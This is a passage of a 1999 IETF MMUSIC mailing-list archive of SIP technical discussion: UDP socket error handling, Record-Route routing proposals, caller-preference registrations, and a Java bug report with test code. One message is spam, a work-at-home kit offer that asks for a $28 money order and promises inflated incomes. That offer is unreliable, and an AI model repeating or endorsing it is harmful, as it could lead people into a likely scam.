From confctrl-owner  Sun Aug  8 11:14:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA17453
	for confctrl-outgoing; Sun, 8 Aug 1999 11:14:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA17448
	for <confctrl@zephyr.isi.edu>; Sun, 8 Aug 1999 11:14:56 -0700 (PDT)
Received: from mail.tellique.de (big-gw.tellique.de [195.126.133.179])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA21188
	for <confctrl@isi.edu>; Sun, 8 Aug 1999 11:14:54 -0700 (PDT)
Received: from klobs.informatik.uni-bremen.de (dhcp20.tellique.de [62.144.106.20])
	by mail.tellique.de (8.8.7/8.8.8) with SMTP id UAA31943
	for <confctrl@isi.edu>; Sun, 8 Aug 1999 20:14:51 +0200
Message-Id: <Version.32.19990808200950.00f72d50@127.0.0.1>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Sun, 08 Aug 1999 20:11:23 +0200
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: MMUSIC slides
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

I have not yet received copies of all the slides presented in the MMUSIC
sessions at the last IETF.  Those of you who have not yet sent them to
me please do so ASAP (remember: PowerPoint, PDF, or PostScript -- 1 slide
on one page).

Thanks,
Joerg



From confctrl-owner  Mon Aug  9 12:21:42 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA13014
	for confctrl-outgoing; Mon, 9 Aug 1999 12:21:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA13007
	for <confctrl@zephyr.isi.edu>; Mon, 9 Aug 1999 12:21:39 -0700 (PDT)
Received: from bounty.cisco.com (bounty.cisco.com [161.44.2.72])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA19113
	for <confctrl@isi.edu>; Mon, 9 Aug 1999 12:21:37 -0700 (PDT)
Received: from cisco.com (bounty.cisco.com [161.44.2.72])
	by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id PAA12820;
	Mon, 9 Aug 1999 15:21:04 -0400 (EDT)
Message-ID: <37AF2A1F.267A13ED@cisco.com>
Date: Mon, 09 Aug 1999 15:21:03 -0400
From: Shail Bhatnagar <shbhatna@cisco.com>
Organization: CISCO
X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
Subject: Connected UDP sockets in SIP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

According to the SIP spec, clients should use connected UDP sockets
to send requests. Does this apply only to INVITE or any request like
CANCEL/BYE. I thought the idea is to save retransmissions and reduce
the network traffic - hopefully an error code would be returned
by the socket API on sending the second or third retransmission of
the request. BYE/CANCEL retransmissions are even more than INVITE.

Does this also mean that the SIP entity which receives an INVITE with
a Contact header, should open a connected UDP socket to that address
and send future requests like BYE to that address ? 

-- 
Best regards,
Shail

From confctrl-owner  Mon Aug  9 14:34:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA19003
	for confctrl-outgoing; Mon, 9 Aug 1999 14:34:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA18998
	for <confctrl@zephyr.isi.edu>; Mon, 9 Aug 1999 14:34:04 -0700 (PDT)
Received: from fogerty.ericsson.fi (fogerty.ericsson.fi [131.160.11.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA03650
	for <confctrl@ISI.EDU>; Mon, 9 Aug 1999 14:34:02 -0700 (PDT)
From: gonzalo.camarillo@lmf.ericsson.se
Received: from lmf.lmf.ericsson.se ([131.160.11.2])
	by fogerty.ericsson.fi (8.9.3/8.9.3) with ESMTP id AAA03379;
	Tue, 10 Aug 1999 00:33:40 +0300 (EET DST)
Received: from greymse1.lmf.ericsson.se by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id AAA03388; Tue, 10 Aug 1999 00:33:26 +0300 (EET DST)
Received: from localhost (root@localhost)
	by greymse1.lmf.ericsson.se (8.8.6 (PHNE_14041)/8.8.6) with SMTP id AAA09857;
	Tue, 10 Aug 1999 00:33:26 +0300 (EETDST)
X-OpenMail-Hops: 1
Date: Tue, 10 Aug 1999 00:33:21 +0300
Message-Id: <H0000e4b02ac58ab@MHS>
In-Reply-To: <37AF2A1F.267A13ED@cisco.com>
Subject: Connected UDP sockets in SIP
MIME-Version: 1.0
TO: shbhatna@cisco.com
CC: confctrl@ISI.EDU
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

> According to the SIP spec, clients should use connected UDP sockets
> to send requests. Does this apply only to INVITE or any request like
> CANCEL/BYE. I thought the idea is to save retransmissions and reduce
> the network traffic - hopefully an error code would be returned
> by the socket API on sending the second or third retransmission of
> the request. BYE/CANCEL retransmissions are even more than INVITE.

The UDP socket has to be connected in order to catch asynchronous errors... 
That is, in order to receive the ICMP messages (such as port unreachable).
This way, if there is nobody on the other side listening to the UDP port we are 
sending our SIP messages to, we know that the SIP on the other side server is 
down.

> 
> Does this also mean that the SIP entity which receives an INVITE with
> a Contact header, should open a connected UDP socket to that address
> and send future requests like BYE to that address ? 

Everytime you send requests to a certain SIP server, if you do it through a UDP 
connected socket, you will notice when/if it goes down... it does not matter 
the state of the connection...

Regards,

Gonzalo

> 
> -- 
> Best regards,
> Shail


From confctrl-owner  Mon Aug  9 18:08:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA27086
	for confctrl-outgoing; Mon, 9 Aug 1999 18:08:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA27081
	for <confctrl@zephyr.isi.edu>; Mon, 9 Aug 1999 18:08:23 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA24342
	for <confctrl@ISI.EDU>; Mon, 9 Aug 1999 18:08:22 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Aug  9 21:07:37 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.253.32])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id VAA17529;
	Mon, 9 Aug 1999 21:07:55 -0400 (EDT)
Message-ID: <37AF7BB3.D2293CA1@dnrc.bell-labs.com>
Date: Mon, 09 Aug 1999 21:09:07 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Shail Bhatnagar <shbhatna@cisco.com>
CC: mmusic <confctrl@ISI.EDU>
Subject: Re: Connected UDP sockets in SIP
References: <37AF2A1F.267A13ED@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Gonzalo has already made some good points on this; I just want to add a
few more things:

Shail Bhatnagar wrote:
> 
> According to the SIP spec, clients should use connected UDP sockets
> to send requests. Does this apply only to INVITE or any request like
> CANCEL/BYE.

Any request. 


> Does this also mean that the SIP entity which receives an INVITE with
> a Contact header, should open a connected UDP socket to that address
> and send future requests like BYE to that address ?

By "SIP entity", I assume you mean called UA. As specified in RFC2543,
the called UA should send future requests to the Contact address from
the INVITE. If this address indicates UDP, its probably a good idea to
connect the socket to receive ICMP error messages. Note, however, that
due to an omission, the Record-Route headers are not currently specified
to be used by the called UA. One possible procedure for the called UA
is:

1. take the Record Route list from the INVITE
2. append the Contact header to the end of the list
3. if the list resulting from (1) and (2) is empty (no Contact or
Record-Route), use the From field for the request URI
4. otherwise, "pop" the top entry off the list, and place that in the
request-URI. The rest of it, if present, goes in a Route header.

This is the procedure described in:
http://www.cs.columbia.edu/~hgs/sip/notes.html

at the bottom. I'm not convinced this is the right approach; its fairly
"brittle", in the sense that requests from the called UA are only
correctly routed if (1) a Contact was inserted in the INVITE, (2) every
proxy obeys the Route headers. If either is not true, the request will
actually be looped back to the called UA, which is very bad. 

The problem boils down to the fact that Record-Route specifies two
things. One of them is the request URI to use (i.e., the result of the
location service), and the second is the address of the server to send
it to. The original, way back when idea for Record-Route was that the
first implied the second as a result of a DNS query. However, it has
been pointed out that the DNS query may not always yield consistent
results. Thus, the maddr tag was allowed to contain a unicast address to
specify the IP address of the server directly. Now, with routing from
called UA to calling UA, we want to use the IP address component of the
Record-Routes, but NOT the URI's. Thats because the URIs are those for
the called party; only the Contact header from the INVITE actually names
the calling party. Here's an example. Lets say A calls B, and this
invite goes through two proxies with IP addresses P1 and P2,
respectively, which translate B to B1 and B2, respectively. The invite
received by B is:

INVITE B2 SIP/2.0
Record-Route: B1;maddr=P2, B;maddr=P1
Contact: A

The procedure above results in a request from user B, destined for A,
sent to IP adddress P2, that looks like:

BYE B SIP/2.0
Route: B;maddr=P1, A


Notice only the last Route header (A) actually names the intended target
of the request. This is why it is brittle.

My proposal to fix this is:

1. Every proxy MUST use the maddr tag, but otherwise insertion of
Record-Route is unchanged.
2. The UA constructs a Route list as follows:

    a. For each URI in the record route, add the URI in the Contact
field (if present), otherwise From field, but with the maddr from the
URI in the record route.
    b. append the Contact header to the end

3. pop the top entry (if present, otherwise use From field), use this
for the request URI, and use the rest in the Route header.

The proposal basically makes sure that the URI in the Route headers is
always that of the calling UA. So, the request from user B back to A
would look like:

BYE A SIP/2.0
Route: A;maddr=P1, A

and would be sent to P2.


Comments?

Thanks,
Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Aug  9 23:51:16 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA08772
	for confctrl-outgoing; Mon, 9 Aug 1999 23:51:16 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA08767
	for <confctrl@zephyr.isi.edu>; Mon, 9 Aug 1999 23:51:14 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA13451
	for <confctrl@ISI.EDU>; Mon, 9 Aug 1999 23:51:13 -0700 (PDT)
Received: from ebcs08.ebc.ericsson.se (ebcs08.ebc.ericsson.se [130.100.12.8])
	by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.3) with ESMTP id IAA03601
	for <confctrl@ISI.EDU>; Tue, 10 Aug 1999 08:51:11 +0200 (MET DST)
Received: from ebc.ericsson.se (ebcw337.ebc.ericsson.se [153.88.17.6])
	by ebcs08.ebc.ericsson.se (8.8.4/8.8.4) with ESMTP
	id IAA01692 for <confctrl@ISI.EDU>; Tue, 10 Aug 1999 08:51:10 +0200 (MET DST)
Message-ID: <37AFCBDA.FF4246E@ebc.ericsson.se>
Date: Tue, 10 Aug 1999 08:51:06 +0200
From: Sanchez Jorge <Jorge.Sanchez@ebc.ericsson.se>
X-Mailer: Mozilla 4.07 [en] (X11; I; SunOS 5.6 sun4m)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: QSIG/SIP
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi there,

I'd like to know if there's somebody in this list working with
tunneling/interworking
of QSIG over SIP, or if it's planned. I've done the same question to
SIGTRAN and
it seems they'll not focus on this for the moment.

Regards,
      Jorge


From confctrl-owner  Tue Aug 10 02:28:53 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA13842
	for confctrl-outgoing; Tue, 10 Aug 1999 02:28:53 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA13836
	for <confctrl@zephyr.isi.edu>; Tue, 10 Aug 1999 02:28:52 -0700 (PDT)
Received: from server (pool170-cvx.ds45-ca-us.dialup.earthlink.net [209.179.128.170])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id CAA19293;
	Tue, 10 Aug 1999 02:26:19 -0700 (PDT)
From: columb@earthlink.net
Subject: Requested Information
Date: Tue, 10 Aug 1999 01:08:45
Message-Id: <603.43043.892603@server>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The information in this message is private and confidential and 
is intended for the addressed recipient only. You are receiving 
this special offer because your address was provided as someone 
who might be interested in receiving investment news and 
opportunities. If you wish to be excluded from any future 
mailings simply erase this message. 

______________________________________________________


Dear Friend, Due to a copyrights filing requirement we can only 
send out a limited number of invitations to work. We are offering 
a full or part-time position in various industries. As to the 
salary, it's totally up to you, as you will be running your own 
business, the sky is the limit. What you will see represents a 
completely legal money making businesses that anyone can run to 
generate a significant residual income. 

You will get unique opportunities. This is a genuine offer, not a 
chain letter, money-game, telecom scheme, or any of the 
multitudes of dubious "business" offers that come through your 
email box. These business opportunities will easily generate a 
residual income of $2,000 to $6,000 every month with only a 
part-time commitment (about 10 hours per week). A full-time 
commitment (about 30 hours per week), based on statistics 
gathered from our current clients (and my own personal 
experience), will translate into an income of $10,000 or more per 
month!


This is the only source for legitimate information with a 
potential to become a successful independently wealthy person. 
Please do not confuse our offer with illegal chain letter schemes 
and neither is our offer an invitation to participate in a 
multi-level or network marketing program. 

Our program is the most legitimate, realistic independent job 
opportunities available today! 

As we are only accepting a limited number of requests for 
Employment Guide and Kit in a given month, therefore hurry to get 
yours as soon as possible.

-----------------------------------------------------------------
---
If you are interested in the above offer please print and fill 
out the form below and mail to the address indicated:

Name:

Address:

E-mail:


[____] I am enclosing $28 U.S.(includes $4.95 Shipping & 
Handling) for my Employment Guide and Kit so I can start 
exploring the opportunities right away. Please allow 3-4 weeks 
for processing.



[____] Money Order 

(No US Postal Money Order)


[____] Cashier Check




Send To: 

TYSS Company 

Processing Dpt Offer-2101 

15500 Erwin Street, Suite 104 

Van Nuys, Ca 91411

=================================================================
====

Also, if we receive your response in 5 business days you will 
receive a free bonus - our exclusive Internet for Free brochure, 
valued $35 or more!

Hurry!

 
 
 
 
 
 
 
 
 
 
 
 
 

From confctrl-owner  Tue Aug 10 04:04:55 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA16925
	for confctrl-outgoing; Tue, 10 Aug 1999 04:04:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA16919
	for <confctrl@zephyr.isi.edu>; Tue, 10 Aug 1999 04:04:53 -0700 (PDT)
Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA21546
	for <confctrl@ISI.EDU>; Tue, 10 Aug 1999 04:04:51 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id HAA00630
	for <confctrl@ISI.EDU>; Tue, 10 Aug 1999 07:04:23 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id MAA17440;
	Tue, 10 Aug 1999 12:04:44 +0100 (BST)
Message-ID: <37B00760.61AC3556@hplb.hpl.hp.com>
Date: Tue, 10 Aug 1999 12:05:04 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic <confctrl@ISI.EDU>
Subject: Java and Connected UDP sockets in SIP
References: <37AF2A1F.267A13ED@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This subject reminds me of a request for enhancement (bordering on being
a bug report) I registered with Suns Java Developer Connection some time
ago.

The problem is that currently in Java there is no way of receiving ICMP
Port Unreachable messages. This potentially has some highly adverse
effects on SIP connection setup times so this is kind of a big deal and
should be a concern for everyone implementing SIP in Java.

The bug report is at 

  http://developer.java.sun.com/developer/bugParade/bugs/4204320.html

Sun says bugs and enhancements are fixed according to the number of
votes they get, so please go and vote for this one!

I've included the reply I got back from Sun below.

Cheers,
Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK


Subject: Re: A connected DatagramSocket doesn't throw exception when
address invalid
Date: Wed, 20 Jan 1999 08:09:28 -0800
From: Jeff Nisewanger <jdn@Eng.Sun.COM>
To: ak@hplb.hpl.hp.com
CC: jdn@Eng.Sun.COM

Your bug has been submitted into our internal Bug Tracking
system. It has been assigned Bug Id: 4204320.

You make an interesting point. Actually, the connect() method
was primarily added to reduce the overhead of Java security
checking which otherwise has to check the destination address
of each datagram sent. I have forwarded your web bug report
into our internal bug database as a Request For Enhancement
rather than as a "bug" report. I will look into whether this 4.3BSD
connected datagram socket behavior is widely enough supported on
other likely Java platform network stack implementations that
we can add this in some way to the semantics of connected
DatagramSockets.
Currently, the connect() method is implemented purely in Java and does
not
actually perform a connect() method to any underlying Unix datagram
socket
that might exist.

The state of the bug can be monitored via the Java Developer
Connection, which is now free:
         http://java.sun.com/jdc.

You can search for this bug by going to Technical Support,
and then Technical Support Search.

It may take a day or two before your bug shows up in this
external database.
-------------- Original Bug Report-------------------

id : 52238
category : java
subcategory : classes_net
type : bug
synopsis : A connected DatagramSocket doesn't throw exception when
address invalid
description : JDK1.2 includes a connect(InetAddress addr, int port) call
in class
java.net.DatagramSocket.  This is only really useful for one thing,
which is to throw an Exception when the VM receives an ICMP error
message saying that the address was invalid, for example because
no process was listening on the specified port.

Quoting from "Unix Network Programming" [Stevens 1990, p271]:

"...the Internet protocols specify that a host should generate an
ICMP port unreachable message if it receives a UDP datagram specifying
a UDP port for which no process is waiting to read from. The host that
sent the UDP datagram and receives this ICMP message can try to
identify the process that sent the datagram, and notify the
process. 4.3BSD, for example, notifies the process with a "connection
refused" error (ECONNREFUSED) on the next system call for this socket,
only if the process had connect()'ed the socket to the destination
address."

Having this behaviour is essential when implementing certain
protocols on top of UDP, because relying only on timeouts takes
too long. The Session Initiation Protocol (SIP) is an example of
such a protocol.

The following code generates 5 UDP messages and SHOULD fail with
an exception on the second send().  I've tested it on NT4.0 with no
exception being thrown.  This is when the remote address is
either an NT4.0 or an HP-UX host. It may be the case that NT4
doesn't generate the ICMP error but I'm assuming that HP-UX does.

Maybe the problem is that NT4 doesn't pass on those ICMP error
to the sending process, in which case running the test program
on a Solaris box should work (ie result in an exception).

import java.net.*;

public class UdpConnect {
    public static void main(String[] args) throws Exception {
        int port = 7000;
        String host = "127.0.0.1";
        int i;

        for (i = 0; i < args.length; i++) {
            if ("-p".equals(args[i])) {
                port = Integer.parseInt(args[++i]);
            } else if ("-h".equals(args[i])) {
                host = args[++i];
            }
        }
        InetAddress addr = InetAddress.getByName(host);
        DatagramSocket sock = new DatagramSocket();
        byte[] buf      = "Hello, server!".getBytes();
        DatagramPacket p = new DatagramPacket(buf, buf.length, addr,
port);
        int nsend       = 0;

        sock.connect(addr, port);

        for (i = 0; i < 5; i++) {
            System.out.print(".");
            sock.send(p);
            try {
                Thread.currentThread().sleep(1000);
            } catch (Exception ex) {
                // if no server at other end we SHOULD get an
ECONNREFUSED
                // exception here on second send()
                ex.printStackTrace(System.err);
            }
        }
    }
}
comments : (company - Hewlett-Packard , email - ak@hplb.hpl.hp.com)
workaround : Rely on retransmissions + timeouts.
cust_name : Anders Kristensen
cust_email : ak@hplb.hpl.hp.com
company : Hewlett-Packard
release : 1.2fcs
hardware : x86
OSversion : win_nt_4.0
status : Posted
delReason : New Bug
priority : 4
sev_impact : 2
sev_function : 2
cust_type : R
bugtraqID : 0
dateCreated : 1999-01-07 06:27:02.0
dateEvaluated : 1999-1-20 8:3:2

From confctrl-owner  Tue Aug 10 06:48:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA21800
	for confctrl-outgoing; Tue, 10 Aug 1999 06:48:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA21795
	for <confctrl@zephyr.isi.edu>; Tue, 10 Aug 1999 06:48:34 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA26952
	for <confctrl@ISI.EDU>; Tue, 10 Aug 1999 06:48:33 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id IAA25310; Tue, 10 Aug 1999 08:53:08 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567C9.004CA07A ; Tue, 10 Aug 1999 08:56:58 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Anoop Tripathi" <Anoop_Tripathi@mw.3com.com>
To: confctrl@ISI.EDU
Message-ID: <862567C9.004C9F40.00@mwgate02.mw.3com.com>
Date: Tue, 10 Aug 1999 08:54:56 -0500
Subject: Is There a SIP MIB Document
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




Is there a SIP MIB document?


Anoop



From confctrl-owner  Tue Aug 10 07:58:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA24259
	for confctrl-outgoing; Tue, 10 Aug 1999 07:58:40 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24254
	for <confctrl@zephyr.isi.edu>; Tue, 10 Aug 1999 07:58:38 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA00695
	for <confctrl@isi.edu>; Tue, 10 Aug 1999 07:58:37 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Tue Aug 10 10:56:21 EDT 1999
Received: from dnrc.bell-labs.com ([135.17.253.88])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA27463;
	Tue, 10 Aug 1999 10:56:50 -0400 (EDT)
Message-ID: <37B03DF7.B0E15344@dnrc.bell-labs.com>
Date: Tue, 10 Aug 1999 10:57:59 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: Is There a SIP MIB Document
References: <862567C9.004C9F40.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

No; but I think we will need one to go to draft. Volunteers welcome :)

-Jonathan R.

Anoop Tripathi wrote:
> 
> Is there a SIP MIB document?
> 
> Anoop

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Aug 10 08:43:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA26321
	for confctrl-outgoing; Tue, 10 Aug 1999 08:43:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26316
	for <confctrl@zephyr.isi.edu>; Tue, 10 Aug 1999 08:43:08 -0700 (PDT)
Received: from seattle.3com.com (seattle.3com.com [129.213.128.97])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA03813
	for <confctrl@ISI.EDU>; Tue, 10 Aug 1999 08:43:07 -0700 (PDT)
From: Jacek_Grabiec@3com.com
Received: from new-york.3com.com (new-york.3com.com [129.213.157.12])
	by seattle.3com.com (8.8.8/8.8.8) with ESMTP id IAA09538;
	Tue, 10 Aug 1999 08:43:05 -0700 (PDT)
Received: from hqoutbound.ops.3com.com (hqoutbound.OPS.3Com.COM [139.87.48.104])
	by new-york.3com.com (8.8.8/8.8.8) with SMTP id IAA16254;
	Tue, 10 Aug 1999 08:43:05 -0700 (PDT)
Received: by hqoutbound.ops.3com.com(Lotus SMTP MTA v4.6.3 (778.2 1-4-1999))  id 882567C9.005650C3 ; Tue, 10 Aug 1999 08:42:47 -0700
X-Lotus-FromDomain: 3COM
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: Henning Schulzrinne <hgs@cs.columbia.edu>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>,
        confctrl@ISI.EDU (Jacek Grabiec/MW/US/3Com)
Message-ID: <882567C9.00564F11.00@hqoutbound.ops.3com.com>
Date: Tue, 10 Aug 1999 10:52:01 -0500
Subject: Re: SIP, voicemail, and UPT
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



     Jonathan wrote:
               Anders Kristensen wrote:
     >
     > > As Henning has pointed out, this is supported readily in the calller
     > > preferences draft. Specifically,  the INVITE would contain:
     > >
     > > Accept-Contact: *;feature=!voice-mail
     > >
     > > Locations with voicemail would register:
     > >
     > > REGISTER sip:host.com
     > > Contact: sip:mrbig@company.com;feature=voicemail
     > >
     > > and the proxy would not forward the INVITE to these destinations.
     > >
     >
     > But you *do* want it go to voicemail, but only if a non-voicemail
     > contact definitely cannot be found.  This would seem to imply that the
     > UPT-proxy needs to be able to tell the difference between an "ordinary"
     > 404 (Not Found) failure and one that's the result of an INVITE being
     > rejected because of constraining caller-prefs.  So maybe that really is
     > best done using a new error code?
     > I see. I'm not sure how a special error response code helps, though.
     > Lets say a proxy has three addresses it can forward to, one of which
     > says voicemail. It forwards to all three, and the voicemail UAC rejects
     > the the call since the caller preferences indicate no voicemail.
     > However, a rejection comes from the other two. The problem is that the
     > voicemail UAS has already rejected the call. I guess this rejection
     > could get propagated back to the UAC, and then it could try again
     > without the !voicemail attribute.

        >Another possibility is if the proxy first tried the non-voicemail
        >addresses, and then if both fail, tried the voicemail one. This can
        >also
        >be supported in the current caller preferences framework:

        >Accept-Contact: *;feature=!voice-mail;q=0.8,
                        *;feature=voice-mail;q=0.1
        >Request-Disposition: sequential


I wonder how would you register these two contacts. According to spec 4.2.6
"Registrations using SIP URIs that differ in one or more of host, port,
transport-param or maddr-param (see Figure 3) from an existing registration are
added to the list of registrations.
If the URIs are equivalent to that of an existing registration, the new
registration replaces the old one if it has a higher q value or, for the same
value of q, if the ttl value is higher. "

therefore the registration
     REGISTER sip:host.com
     Contact: sip:mrbig@company.com;feature=!voicemail;q=0.8
would replace the
     REGISTER sip:host.com
     Contact: sip:mrbig@company.com;feature=voicemail;q=0.1
since they are identical on host, port, transport-param and maddr-param and one
has higher q value than the other.
By the way, shouldn't the registrations be compared on user (in addition to
host, port, transport-param and maddr-param) for equivalency?



regards, Jacek G



From confctrl-owner  Tue Aug 10 09:04:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA27283
	for confctrl-outgoing; Tue, 10 Aug 1999 09:04:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA27278
	for <confctrl@zephyr.isi.edu>; Tue, 10 Aug 1999 09:04:34 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA05861
